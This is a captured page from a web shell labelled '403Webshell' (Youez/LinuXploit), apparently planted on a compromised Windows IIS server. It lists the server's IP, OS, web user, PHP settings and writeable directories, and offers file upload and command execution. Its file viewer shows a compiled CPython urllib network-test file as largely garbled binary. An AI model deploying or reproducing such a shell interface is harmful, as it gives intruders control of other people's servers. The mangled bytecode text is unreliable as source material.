403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_urllibnet.cpython-313.pyc
�

��if&��H�SSKrSSKJr SSKJr SSKJr SSKJr SSKrSSK	r	SSK
rSSKrSSK
r
SSKrSSKr\R""S5 "SS\R$5r"S	S
\R$\5r"SS\R$5r\S
:Xa\R."5 gg)�N)�support)�	os_helper)�
socket_helper)�ExtraAssertions�networkc�&�\rSrSrSrSrSrSrg)�URLTimeoutTest�c�L�[R"[R5 g�N)�socket�setdefaulttimeoutr�INTERNET_TIMEOUT��selfs �(C:\Python313\\Lib\test\test_urllibnet.py�setUp�URLTimeoutTest.setUps��� � ��!9�!9�:�c�0�[R"S5 gr)r
rrs r�tearDown�URLTimeoutTest.tearDowns��� � ��&rc��UR[RR5 [RR[R5Rn[R"U5 [RR[R5nUR5 SSS5 g!,(df   g=fr)
�
addCleanup�urllib�request�
urlcleanup�parse�urlparser�
TEST_HTTP_URL�netlocr�transient_internet�urlopen�read)r�domain�fs   r�testURLread�URLTimeoutTest.testURLreadsu��������1�1�2����&�&�w�'<�'<�=�D�D��
�
-�
-�f�
5����&�&�w�'<�'<�=�A�
�F�F�H�6�
5�
5�s�7>B>�>
C�N)�__name__�
__module__�__qualname__�__firstlineno__rrr'�__static_attributes__r)rrr	r	s��;�'�rr	c��\rSrSrSrSrSr\RS5r	Sr
SrSrS	r
S
r\R "S5S5rS
rg)�urlopenNetworkTests�&aTests urllib.request.urlopen using the network.

These tests are not exhaustive.  Assuming that testing using files does a
good job overall of some of the basic interface features.  There are no
tests exercising the optional 'data' and 'proxies' arguments.  No tests
for transparent redirection have been written.

setUp is not used for always constructing a connection to
http://www.pythontest.net/ since there a few tests that don't use that address
and making a connection is expensive enough to warrant minimizing unneeded
connections.

�http://www.pythontest.net/c�V�UR[RR5 gr�rrrrrs rr�urlopenNetworkTests.setUp7���������1�1�2rc/�# �USn[R"U5 [RR"U0UD6nUv� UR5 SSS5 g!UR5 f=f!,(df   g=f7f�Nr)rr"rrr#�close)r�args�kwargs�resource�rs     rr#�urlopenNetworkTests.urlopen;se�����7��
�
-�
-�h�
7����&�&��7��7�A�
������	�8�
7��
���	��8�
7�s4�B�!A3�A�A3�	B�A0�0A3�3
B�=Bc���URUR5nSHnURX5 M URUR	5S5 SSS5 g!,(df   g=f)N)r$�readline�	readlines�filenor9�info�geturlzcalling 'read' failed)r#�url�
assertHasAttr�
assertTruer$)r�open_url�attrs   r�
test_basic�urlopenNetworkTests.test_basicEsQ��
�\�\�$�(�(�
#�x�+���"�"�8�2�+�
�O�O�H�M�M�O�-D�E�	$�
#�
#�s�;A � 
A.c��URUR5nURUR5[S5 URUR5[S5 SSS5 g!,(df   g=f)Nz readline did not return a stringzreadlines did not return a list)r#rE�assertIsInstancer@�bytesrA�list)rrHs  r�test_readlines�"urlopenNetworkTests.test_readlinesMs^��
�\�\�$�(�(�
#�x��!�!�(�"3�"3�"5�u�"D�
F��!�!�(�"4�"4�"6��"C�
E�$�
#�
#�s�AA0�0
A>c�$�URUR5nUR5nURU[R
RS5 URUR5S5 SSS5 g!,(df   g=f)NzEobject returned by 'info' is not an instance of email.message.Message�html)	r#rErCrM�email�message�Message�assertEqual�get_content_subtype)rrH�info_objs   r�	test_info�urlopenNetworkTests.test_infoUsi��
�\�\�$�(�(�
#�x��}�}��H��!�!�(�E�M�M�,A�,A�#F�
G�
���X�9�9�;�V�D�$�
#�
#�s�AB�
Bc���URUR5nUR5nURX R5 SSS5 g!,(df   g=fr)r#rErDrW)rrH�
gotten_urls   r�test_geturl�urlopenNetworkTests.test_geturl^s>��
�\�\�$�(�(�
#�x�!���*�J����Z���2�$�
#�
#�s�,A�
Ac���URS-n[R"U5 UR[5 [
RR5RU5nSSS5 WR5nUR5 URUS5 SSS5 g!,(df   NJ=f!WR5 f=f!,(df   g=f)N�
XXXinvalidXXXi�)rErr"�assertWarns�DeprecationWarningrr�FancyURLopener�open�getcoder9rW)r�URLrH�codes    r�test_getcode� urlopenNetworkTests.test_getcodeds����h�h��(��
�
-�
-�c�
2��!�!�"4�5�!�>�>�8�8�:�?�?��D��6�
!��'�'�)����� ����T�3�'�3�
2�5�5��
��� ��
3�
2�s:�C�.B.�*C�3B?�"C�.
B<	�8C�?C�C�
C"�walltimec�:�Sn[R"U5 URSU-5 SnUR	[US9 [
RRSRU55 SSS5 g![a NZf=f!,(df   g=f)Nzsadflkjsasf.i.nvali.d.z&%r should not resolve for test to workzuopening an invalid URL did not raise OSError; can be caused by a broken DNS server (e.g. returns 404 or hijacks page)��msgz
http://{}/)	r
�
gethostbyname�skipTest�OSError�assertRaisesrrr#�format)r�bogus_domain�failure_explanations   r�test_bad_address�$urlopenNetworkTests.test_bad_addressps���,0��		S�� � ��.�
�M�M�B�\�Q�R� D���
�
�w�,?�
�
@��N�N�"�"�<�#6�#6�|�#D�E�A�
@���	�
�		��A�
@�s�A<�/B�<
B	�B	�
Br)N)r*r+r,r-�__doc__rEr�
contextlib�contextmanagerr#rJrPrZr^rir�requires_resourcervr.r)rrr0r0&sj���'�C�3�������F�E�E�3�
(�
���z�*�$F�+�$Frr0c��\rSrSrSrSr\RS5rSr	Sr
SrSr\
R"S	5S
5rSrSrg
)�urlretrieveNetworkTests�z3Tests urllib.request.urlretrieve using the network.c�V�UR[RR5 grr4rs rr�urlretrieveNetworkTests.setUp�r6rc/�*# �USn[R"U5 [RR"U0UD6upEXE4v� [
R"U5 SSS5 g![
R"U5 f=f!,(df   g=f7fr8)rr"rr�urlretriever�unlink)rr:r;r<�
file_locationrCs      rr��#urlretrieveNetworkTests.urlretrieve�sv�����7��
�
-�
-�h�
7�"(�.�.�"<�"<�d�"M�f�"M��M�
0�#�)�)�� � ��/�8�
7��
� � ��/��8�
7�s4�B�#B�A'�B�	B�'A?�?B�
B�Bc�\�URUR5upUR[RRU5S5 [
US5nURUR5S5 SSS5 SSS5 g!,(df   N=f!,(df   g=f)Nz9file location returned by urlretrieve is not a valid path�rbz=reading from the file location returned by urlretrieve failed)r��logorG�os�path�existsrer$�rr�rCr&s    rrJ�"urlretrieveNetworkTests.test_basic�s~��
�
�
�d�i�i�
(�,A�]��O�O�B�G�G�N�N�=�9�<?�
@��m�T�*�a��������+9�:�+�)�
(�+�*��)�
(�s#�>B�!B�;B�
B	�B�
B+c��URUR[R5upUR	U[R5 UR[RRU55 [US5nURUR5S5 SSS5 SSS5 g!,(df   N=f!,(df   g=f)Nr�z"reading from temporary file failed)r�r�r�TESTFNrWrGr�r�r�rer$r�s    r�test_specified_path�+urlretrieveNetworkTests.test_specified_path�s���
�
�
�d�i�i�'�.�.�0�3H�M����]�I�,<�,<�=��O�O�B�G�G�N�N�=�9�:��m�T�*�a��������*N�O�+�	0�0�+�*��	0�0�s$�AC�!B:�)C�:
C	�C�
Cc���URUR5upURU[RR
S5 SSS5 g!,(df   g=f)Nz0info is not an instance of email.message.Message)r�r�rMrTrUrV)rr�rCs   r�test_header�#urlretrieveNetworkTests.test_header�sE��
�
�
�d�i�i�
(�,A�]��!�!�$��
�
�(=�(=�"T�
V�)�
(�
(�s�.A�
A!r2rkc��URUR5upURS5nSn[R"X45 SSS5 g![
a UR
SU-5 N)f=f!,(df   g=f)N�Datez%a, %d %b %Y %H:%M:%S GMTzDate value not in %r format)r�r��get�time�strptime�
ValueError�fail)rr��fileheaders�	datevalue�
dateformats     r�test_data_header�(urlretrieveNetworkTests.test_data_header�st��
�
�
�d�i�i�
(�,H�]�#����/�I�4�J�
F��
�
�i�4�	)�
(��
�
F��	�	�7�*�D�E�
F��)�
(�s(�A6�A�A3�0A6�2A3�3A6�6
Bc�`^	�/m	U	4SjnURURUS9up#[US5nSSS5 [T	5nUR	[T	5SSS9 UR
T	SSS5 UR	T	SSSSU-S9 UR
T	SS	W5 UR
T	S
S	U5 T	VVs1sHupgogiM	 nnnUR
T	SS1USU-S9 URT	S
ST	SS-USU-S9 g!,(df   N�=fs snnf)
Nc�,>�TRXU45 gr)�append)�blocks�
block_size�
total_size�recordss   �r�recording_reporthook�EurlretrieveNetworkTests.test_reporthook.<locals>.recording_reporthook�s����N�N�F�
�;�<r)�
reporthookzContent-Length�zKThere should always be two calls; the first one before the transfer starts.rmrzblock size can't be 0 in %s����zblock sizes in %s must be equalz9number of blocks * block size must be >= total size in %s)r�r��int�repr�
assertGreater�lenrW�assertGreaterEqual)
rr�r�r��
expected_size�records_repr�_r��block_sizesr�s
         @r�test_reporthook�'urlretrieveNetworkTests.test_reporthook�sn�����	=��
�
�d�i�i�4H�
�
I�N,����,<� =�>�M�J��G�}�����3�w�<��1N��	O�������A���*����7�1�:�a�=�!�<�|�K�	�	M�������A��
�6�������Q���7�:A�B�'�&6�a�Q�z�'��B����'�!�*�Q�-��+�>��M�	�	O�������A��w�q�z�!�}� <�m�%7�9E�%F�	 �	G�!J�
I��Cs�D�	D*�
D'r)N)r*r+r,r-rxrryrzr�rJr�r�r�rr{r�r�r.r)rrr}r}�sa��=�3����0��0�:�P�V�(�D����z�*�F�+�F�Grr}�__main__)�unittest�testr�test.supportrr�test.support.testcaserryr
�urllib.parser�urllib.requestr��
email.messagerTr��requires�TestCaser	r0r}r*�mainr)rr�<module>r�s�����"�&�1��
���	���������X�&�&��&oF�(�+�+�_�oF�dMG�h�/�/�MG�`�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit